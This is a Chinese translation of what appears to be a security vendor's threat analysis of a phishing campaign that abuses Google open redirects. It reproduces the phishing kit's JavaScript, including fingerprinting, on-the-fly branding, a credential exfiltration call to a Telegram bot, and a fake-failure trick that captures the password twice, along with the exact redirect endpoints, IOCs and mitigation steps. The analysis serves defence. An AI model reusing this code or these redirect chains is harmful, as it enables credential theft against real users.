繞過把關者:全球網路釣魚活動如何將 Google 的基礎架構變成「信任代理」

首席分析師:Prabhakaran Ravichandhiran、Jeewan Singh Jalal

除了日常使用者之外,Google 的基礎架構也受到電子郵件安全閘道、企業防火牆與自動化 URL 引爆分析平台的信任。

威脅行為者深知這一點。

在這份 KnowBe4 Threat Lab 分析中,我們拆解一場正在進行的大規模網路釣魚活動。該活動刻意將受害者導向一連串合法的 Google 服務,最後再將其帶往竊取憑證的網站,或部署遠端存取工具。這次攻擊的執行相當完整:濫用六項不同的 Google 服務,形成多條重新導向路徑;登陸頁面會即時仿冒受害者所屬組織;而重新導向後則採用雙軌架構,根據誘餌內容提供憑證竊取或持續性遠端存取。該頁面會透過 Clearbit 即時取得公司標誌,使用第三方螢幕截圖 API 擷取公司網站畫面,並利用 Google 公開 DNS 驗證受害者的企業電子郵件網域。

這場活動在防禦者通常會檢查的每個環節看起來都很合法:寄件網域、連結、中間跳轉,以及最後收集憑證的頁面。

這場活動有何不同?

不同於一般依賴安全閘道漏掉惡意連結的活動,這次行動提供給安全系統的,正是它們預期看到的內容:每一跳都是受信任的 Google 網域。

當防禦者檢查寄件網域、嵌入式連結或中間跳轉時,所有內容看起來仍然乾淨。鏈結末端的憑證竊取頁面會等待檢查通過後才開始運作。

多數網路釣魚活動會嵌入惡意連結,賭安全閘道無法偵測。但這次活動不需要安全閘道漏掉任何內容,而是每一跳都提供安全閘道預期看到的受信任 Google 網域。

KnowBe4_Google_CSE_Phishing_Flow_Diagram
圖 1. 濫用 Google 服務的流程圖。

這場活動中的每個 URL 都會先經過 Google 所有、且合法的基礎架構,之後才連往攻擊者的基礎架構。活動在多條重新導向路徑中使用六項不同的 Google 服務,形成難以透過靜態封鎖攔截的攻擊面。重新導向鏈結完成後,憑證竊取頁面會立即分析請求、動態取得受害者的公司標誌、公司網站截圖,預先填入電子郵件地址,並在安全掃描器標記最終目的地前等待受害者輸入密碼。另一條執行路徑則會根據誘餌內容,改為靜默安裝遠端存取工具,而不是竊取憑證。

根據對憑證竊取程式碼與觀察到的重新導向鏈結進行分析,這場活動使用了:

  • 三跳式重新導向鏈結,依序經過 meet[.]google[.]com、Google Search、Google 的 DoubleClick 廣告基礎架構、Google Custom Search、Google Image Search、Google Tag Manager 與 Google Analytics,最後才離開 Google 網路
  • 受害者的電子郵件地址會以 base64 編碼,隱藏在 URL 的片段(fragment)中。瀏覽器會在送出請求前移除片段,因此該資訊不會出現在伺服器端記錄或多數 URL 掃描器中,有效掩飾這場活動是針對特定對象預先規劃的事實。
  • 登陸頁面會透過 Clearbit 即時取得受害者公司的標誌,並透過第三方螢幕截圖 API 即時擷取公司網站畫面;所有資訊僅由電子郵件地址推導而來
  • 呼叫 Google Public DNS API,確認受害者電子郵件網域具有有效的 MX 記錄,再顯示憑證表單,以過濾使用虛假網域的沙箱分析與研究人員地址
  • 受害者按下「Submit」後,憑證會即時外傳至 Telegram 機器人,並刻意要求第二次提交,以收集第二組可信度更高的憑證;憑證竊取介面會根據受害者的瀏覽器語系,在 16 種語言間自動切換:英文、中文、日文、葡萄牙文、韓文、西班牙文、義大利文、德文、法文、立陶宛文、瑞典文、愛沙尼亞文、土耳其文、阿拉伯文、俄文或越南文
  • 第二條執行路徑不會竊取憑證,而是透過虛假的身分驗證提示,安裝 ScreenConnect 作為遠端存取工具

實際出現了哪些電子郵件誘餌?

這場活動不依賴單一誘餌主題。觀察到的電子郵件範本涵蓋多種業務情境,分別鎖定製造、政府、金融與非營利組織中的不同企業受害者。

Figure-2-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 2. 文件審閱誘餌範例

文件審閱誘餌會仿冒 DocuSign、SafeSend ONE 及一般共用文件通知。主旨如「Please Review for approval」與「Action Required: Review Document Ref-:4ee053ad0a…」,利用每天寄達企業收件匣的大量合法文件流程郵件來降低戒心。

Figure-3-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 3. 憑證過期誘餌範例

憑證過期誘餌會仿冒 Microsoft 365 與 Office 365 服務台通知。主旨如「ATTENTION: #### Mailbox Expires today, 5/19/2026」及「Webmail Access Expiry | Tuesday, June 2, 2026」,並寄給特定組織中的特定收件人。郵件內文會將受害者實際的電子郵件網域動態帶入即將到期的服務名稱中。

Figure-4-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 4. 包裹配送誘餌範例

包裹配送誘餌會仿冒 FedEx Express,捏造貨件追蹤號碼與配送失敗時間戳記,並使用遭入侵的巴西大學網域(guardaresponsavel[.]unb[.]br)作為寄件者。

Figure-5-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 5. 付款通知誘餌範例

付款通知誘餌會仿冒 OneDrive(透過 Wavonline 付款確認通知)與 Intuit QuickBooks。OneDrive 變體會在內文嵌入 QR code;對於郵件客戶端會將 QR code 顯示為可點擊連結的行動裝置收件者而言,這提供了另一條點擊路徑。

Figure-6-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 6. 政府福利誘餌範例

政府福利誘餌會仿冒 Social Security 通知,向政府機關及相關組織的目標對象顯示捏造的福利或帳戶警示。這類誘餌利用目標產業對官方形式福利通知的高度信任。

Figure-7-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 7. Microsoft 語音信箱誘餌範例

Microsoft 語音信箱誘餌會捏造未接語音信箱通知,並嵌入可用來「聆聽」訊息的連結。語音信箱主題能在不要求受害者辨識特定供應商關係的情況下製造急迫感,進而擴大可鎖定的受害者範圍。

在所有變體中,嵌入式連結至少會先經過一項合法的 Google 服務,再抵達攻擊者的基礎架構。受害者的電子郵件地址會放在 URL 片段中,依活動變體不同,可能採用 base64 編碼或明文。

這場攻擊如何運作?

重新導向鏈結:將 Google 服務作為信任代理

惡意連結不會直接前往網路釣魚頁面,而是透過一連串合法、由 Google 所有的基礎架構。每一跳都經過挑選,以通過不同的掃描層。這場活動曾使用六項不同的 Google 服務作為重新導向中介,有時依序使用,有時則依誘餌變體而獨立使用。

經由 Google Meet、Google Search 與 Google DoubleClick 的三跳式鏈結:

  • meet[.]google[.]com/linkredirect 濫用 Google Meet 中用來處理會議邀請外部連結的開放式重新導向端點。dest= 參數可接受任何目的地,沒有額外限制。
  • www[.]google[.]com/url?q= 是 Google Search 廣為人知的開放式重新導向端點。此處主要用於混淆:q= 值會以 amp/adservice[.]google[.]com[.]ph/… 開頭,使下一跳看起來仍是另一項 Google 資源。
  • adservice[.]google[.]com[.]ph/ddm/clk/ 是 Google DoubleClick Marketing Manager 位於 .ph(菲律賓)國碼頂級網域的點擊追蹤端點。URL 中包含語法有效的 gclid=(Google Click ID)參數,使完整鏈結看起來與合法廣告點擊追蹤流程無異。

經由 Google Custom Search Engine 的單跳鏈結:

cse.google.com/url?q=
  → zh-l-haixing[.]com/drooll/
    #?[session-token]=jo**[email protected]
  • cse[.]google[.]com/url 是 Google Custom Search API 的開放式重新導向端點。q= 參數可重新導向至任意目的地。受害者的電子郵件地址會放在 URL 片段中;瀏覽器在裝置送出任何請求前就會移除該片段,因此包括 Google 在內的任何跳轉伺服器記錄都不會出現這項資訊。

Google Image Search 重新導向:

  • images[.]google[.]com[.]bd 與 images[.]google[.]com[.]dj 是 Google Image Search 的國碼頂級網域變體,與主要 Search 端點一樣,會透過 ?q= 參數暴露相同的開放式重新導向功能。透過區域 Google 網域進行導向,為原本已受信任的命名空間增加地理變化,也使靜態封鎖清單比對更加困難:每個 ccTLD 都會解析至相同的受信任 IP 空間,但對以特徵碼為基礎的過濾器而言,卻呈現不同的網域字串。

Google Tag Manager 重新導向:

  • googletagmanager[.]com/debug/clearcookies?url= 濫用 Google Tag Manager 的除錯端點。該端點接受 url= 參數、清除除錯 Cookie,並將瀏覽器重新導向至任意目的地。企業安全工具通常會因分析與行銷作業而將 Tag Manager 基礎架構列入允許清單,因此這是一條少有檢查層會仔細檢視的低調通道。

Google Analytics 端點:

  • analytics[.]google[.]com/ 的 dl=(document location)參數會填入攻擊者的基礎架構。企業 Proxy 與防火牆通常會允許 Analytics 收集端點通行。原本用於記錄產生 Analytics 事件之頁面 URL 的 dl= 參數,在此被重新利用為重新導向機制。

兩種 URL 變體中的片段都具有相同功能:將受害者預先識別出的電子郵件地址帶過所有掃描層,傳送至憑證竊取頁面,再由該頁面解碼並用來建立個人化憑證頁面。

抵達憑證竊取頁面:過濾與分析

重新導向鏈結完成後,受害者會抵達由攻擊者控制的基礎架構,包括 .vu TLD 網域(萬那杜 ccTLD)、Cloudflare Workers 端點(workers.dev),以及遭入侵的 .de 子網域。

在憑證頁面顯示前,竊取程式會對受害者工作階段執行一連串分析檢查。

中間檢查頁面(「Hold on briefly / All done」):.vu 網域會顯示短暫的存取驗證覆蓋層,讓後端有時間完成分析,並捨棄未等待該畫面結束的訪客。

「Human Scan Process」挑戰:部分基礎架構節點會顯示類似 CAPTCHA 的虛假互動頁面,標示「Please confirm you are not automated」。未模擬點擊的自動化掃描器會在此被攔截。

憑證竊取程式碼也會平行執行被動分析:

// 透過 ipinfo.io 取得受害者 IP、城市、地區與國家
async function getVisitorIP() {
  xhr.open('GET', 'https://ipinfo.io/json', true);
  // 回傳:ip、country、city、region
}
// 透過 Google Public DNS API 驗證 MX 記錄,以過濾虛假的電子郵件地址
async function getMXRecord(domain) {
  const response = await fetch(
    `https://dns.google/resolve?name=${domain}&type=MX`
  );
  // 'no-mx' 結果 → 過濾受害者
}
// 取得瀏覽器版本並進行語系指紋辨識
let browser = window.clientInformation.appVersion;
let language = window.clientInformation.language;

MX 記錄檢查值得特別注意。透過查詢 Google 自己的 DNS API,攻擊工具會確認受害者電子郵件網域是否具有真實的郵件基礎架構,之後才繼續執行。no-mx 結果會將該提交標記為可能來自研究人員或沙箱,讓操作者可以捨棄這筆資料。在部分變體中,該檢查也會在頁面初始化時執行,先驗證 URL 片段中的電子郵件地址,再顯示憑證表單。

憑證竊取頁面:根據受害者電子郵件地址即時建構

Figure-8-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 8。

憑證竊取頁面會根據受害者的電子郵件地址動態建立。頁面載入時,JavaScript 會從 URL 片段中解碼該地址。

公司標誌與網站圖示:

// 主要方式:透過 Clearbit 即時取得公司標誌
var logoUrl = "https://logo.clearbit.com/" + emailParts[1];

// 備援方式:Google favicon 服務
logoUrl = "https://www.google.com/s2/favicons?domain=" + emailParts[1];

// 套用至可見標誌與瀏覽器分頁網站圖示
$("#logoimg").attr("src", logoUrl);
$("#favicon").attr("href", logoUrl);

頁面標誌與瀏覽器分頁網站圖示都會顯示受害者組織的實際品牌標誌,並即時從該公司網域取得。

以公司網站作為背景:

// 將受害者公司網站的即時截圖作為背景
var image = "https://image.thum.io/get/width/1200/http://" + website;
document.body.style.backgroundImage = "url('" + image + "')";

憑證竊取頁面會即時擷取受害者組織公開網站的畫面,並將其呈現為頁面背景。受害者看到的是一個漂浮在看似公司實際網站畫面上的登入對話框。

從 URL 片段預先填入電子郵件地址:

// 從 URL 雜湊片段中的 base64 解碼電子郵件
var hashPart = handleBase64Data(window.location.hash.substr(1).split('/')[0]);
// 解碼後直接填入電子郵件欄位
$("#email").val(hashPart);

受害者抵達頁面時,自己的電子郵件地址已經填入登入欄位,只需要輸入密碼。這種做法模仿真實的 SSO 入口網站,也消除了原本可能引起懷疑的操作停頓。

頁面標題與標頭:

document.title = `${capitalizedDomain} - ${langs.mail}`;
$("#loginMgs").html(`${capitalizedDomain} ${langs.emlLogin}`);

瀏覽器分頁標題會顯示受害者所屬組織的名稱。

多語系介面:

const userLanguage = navigator.language || navigator.userLanguage;
// 支援以下語系的所有介面文字:en、zh、ja、pt、ko、es、it、de、
//   fr、lt、sv、et、tr、ar、ru、vi

若受害者的瀏覽器設定為德文,就會看到德文介面文字;阿拉伯文語系的瀏覽器則會看到由右至左排列的阿拉伯文介面。支援 16 種語系,顯示這是一場全球性鎖定行動。

雙重執行路徑

受害者通過分析層後,活動不會將每個工作階段導向相同結果。重新導向基礎架構會根據誘餌情境與操作者對工作階段的判斷,分流至不同路徑。

Figure-9-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 9。

路徑 A:憑證與裝置程式碼竊取。通過自動化分析的工作階段會被導向高擬真的 Microsoft「Sign in」介面。從重新導向參數解碼出的受害者電子郵件地址會預先填入表單。部分變體則會將受害者導向虛假的 OneDrive「Shared Document」入口網站,顯示即時的 Microsoft 裝置配對碼,攔截裝置授權流程,而不是收集靜態密碼。

Figure-10-Google-Proxy-Gatekeepers-Threat-Lab-Blog
圖 10。

路徑 B:安裝遠端存取工具。部分受害者通常會透過文件存取或身分驗證誘餌抵達入口網站,該網站會顯示標示為「Identity Verification Required」的虛假提示。覆蓋層會引導受害者完成驗證步驟,同時在背景中下載並執行指令碼,靜默安裝 ScreenConnect;這是企業環境廣泛使用的合法遠端監控與管理工具。ScreenConnect 建立工作階段後,操作者便能持續互動式存取受害者的電腦。這種結果的價值遠高於單組憑證:它能提供持續性存取,即使受害者重設密碼仍會持續存在,也不會受到 MFA 阻擋,因為操作者已經進入端點。

路徑 A 與路徑 B 之間的選擇,反映出刻意的分流決策。憑證數量多、變現速度快;遠端存取數量較少,但具有持續性。從共用的重新導向與規避掃描層執行兩條路徑非常有效率:一場誘餌活動,兩種不同的變現管道。

憑證收集與外傳

提交憑證後,資料會即時外傳至 Telegram 機器人:

var message = `--------+ New Result ${city} ${region}, ${country} +--------\n`;
message += "Email : "    + ai + "\n";
message += "Password : " + pr + "\n";
message += "Checker: "   + ai + ":" + pr + "\n";
message += "Browser : "  + GetBrowserandLanguage()[0] + "\n";
message += "MX Record : " + await getMXRecord(domain) + "\n";
message += "IP Address : " + visitorInfo[0] + "\n";

$.ajax({
  url: `https://api.telegram.org/bot${token}/sendMessage`,
  data: { "chat_id": chatId, "text": message }
});

憑證會在數秒內抵達操作者的 Telegram 頻道,內容包括受害者的 IP 位址、地理位置、瀏覽器字串,以及其組織經驗證的 MX 記錄。

透過刻意失敗進行雙重憑證收集:

if (attempts >= 1) {
  // 第二次嘗試:顯示成功,重新導向至真實公司網域
  window.location.replace(`http://www.${domain}`);
} else {
  attempts++;
  // 第一次嘗試:顯示「密碼錯誤」,清除欄位
  msgElement.show();
  passwordField.val('');
}

無論受害者輸入什麼內容,第一次提交都會顯示「Invalid password」錯誤並清空欄位。受害者會再次輸入密碼,第二次提交的資料就會被收集並確認。如此一來,操作者便取得兩組憑證,其中包括受害者有信心再次輸入的那一組。第二次提交後,受害者會被重新導向至真實公司網站,整個工作階段結束時不會留下任何明顯跡象。

IOC-可供 SIEM 與防火牆匯入的可操作指標

IOC 類型 指標 類別 備註
網域vazquezfleytas[.]com憑證竊取頁面最終目的地-URL 鏈結 1
網域zh-l-haixing[.]com憑證竊取頁面最終目的地-URL 鏈結 2
網域odahlzr5lm[.]reliabilityinoperations[.]de憑證竊取頁面虛假的 OneDrive 入口網站
網域cloudbemismanufacturingcompanygroup[.]rydezyhrsysteminc[.]vu憑證竊取頁面含中間檢查關卡的 M365 憑證竊取頁面
網域servicetriumphgroupsimplyappraisals[.]spectrhwqumbrands[.]vu憑證竊取頁面.vu TLD 憑證竊取基礎架構
網域unitedtechnofzmlogies[.]vu憑證竊取頁面.vu TLD 憑證竊取基礎架構
網域velvorra[.]com憑證竊取頁面攻擊者控制的憑證竊取網域
網域cloudgillettebrandberkshirehathaway[.]rtzcoekdrporation[.]vu憑證竊取頁面.vu TLD 憑證竊取基礎架構
網域furqanmustafa[.]com憑證竊取頁面/基礎架構攻擊者控制的網域
網域staiwooje[.]app憑證竊取頁面攻擊者控制的 .app 網域
網域edificiocristal[.]pt基礎架構攻擊者控制或遭入侵的網域
Cloudflare WorkerLink-form-unj9[.]p-sm7rw6ru[.]workers[.]dev憑證竊取頁面透過 Cloudflare Workers 執行的無伺服器憑證竊取頁面
Cloudflare Workerdata-cloud-ofe8[.]p-8yejy42o[.]workers[.]dev憑證竊取頁面透過 Cloudflare Workers 執行的無伺服器憑證竊取頁面
Telegram Chat ID7861974506C2 外傳接收遭竊憑證的操作者 Telegram 頻道
網域goldenearth[.]ma憑證竊取頁面攻擊者控制的網域
網域document24acces[.]com憑證竊取頁面攻擊者控制的網域
網域anglictina-doucovani[.]cz基礎架構遭入侵或攻擊者控制的網域
網域camara-verde[.]org基礎架構遭入侵或攻擊者控制的網域
網域demo[.]mybluekart[.]com憑證竊取頁面攻擊者控制的網域
網域sefvraa[.]com憑證竊取頁面攻擊者控制的網域
網域guzeldagenerji[.]com[.]tr基礎架構遭入侵或攻擊者控制的網域
網域monntgro[.]com憑證竊取頁面攻擊者控制的網域
網域cindymagee[.]net憑證竊取頁面攻擊者控制的網域
網域itunes321[.]rovitan[.]vu憑證竊取頁面.vu TLD 憑證竊取基礎架構
網域servicesmallplanetdigitalsystems[.]gdipbrinfotech[.]vu憑證竊取頁面.vu TLD 憑證竊取基礎架構
網域pittni[.]com憑證竊取頁面攻擊者控制的網域
SharePoint 租用戶amzn-redirecturl-dc73bfyf29-campaign[.]sharepoint[.]com重新導向基礎架構遭入侵的 SharePoint 租用戶,用作重新導向跳板

貴團隊現在應採取的行動

點擊這些連結的收件者,遭遇的是一場精心設計、每一步都看似合法的活動,甚至會顯示其所屬組織的標誌與網站。立即採取行動,有助於降低下一波攻擊造成的暴露風險。

  1. 立即在 DNS 過濾器、Proxy 與 SIEM 中封鎖 IOC 網域。
  2. 搜尋 Telegram Bot API 流量。
  3. 強制重設憑證,尤其是可能收到這些誘餌的使用者。
  4. 搜尋未經授權的 ScreenConnect 安裝。任何在已知管理部署之外啟動的 ScreenConnect 程序,都應視為可能的入侵指標。
  5. 提醒使用者注意 URL 片段技術。URL 中 # 後方出現電子郵件地址,是該連結已針對特定對象預先設定的訊號。
  6. 擴大對 Google 重新導向的封鎖範圍,不要只封鎖 Meet 與 Search。將 googletagmanager[.]com/debug/clearcookies、analytics[.]google[.]com(含 dl= 參數),以及 images[.]google[.]com[.]bd/images[.]google[.]dj 重新導向端點加入 Proxy 與 SIEM 偵測規則。
  7. 考慮在 Web Proxy 中封鎖 logo[.]clearbit[.]com 與 image[.]thum[.]io。這些服務在企業瀏覽器中的合法使用情境有限。
  8. 向 Google Safe Browsing 回報相關 URL,以加速移除由 Google 託管的重新導向端點。
文章來源: Bypassing the Gatekeepers: How a Global Phishing Campaign Turns Google’s Infrastructure into a Trust Proxy

You cannot copy content of this page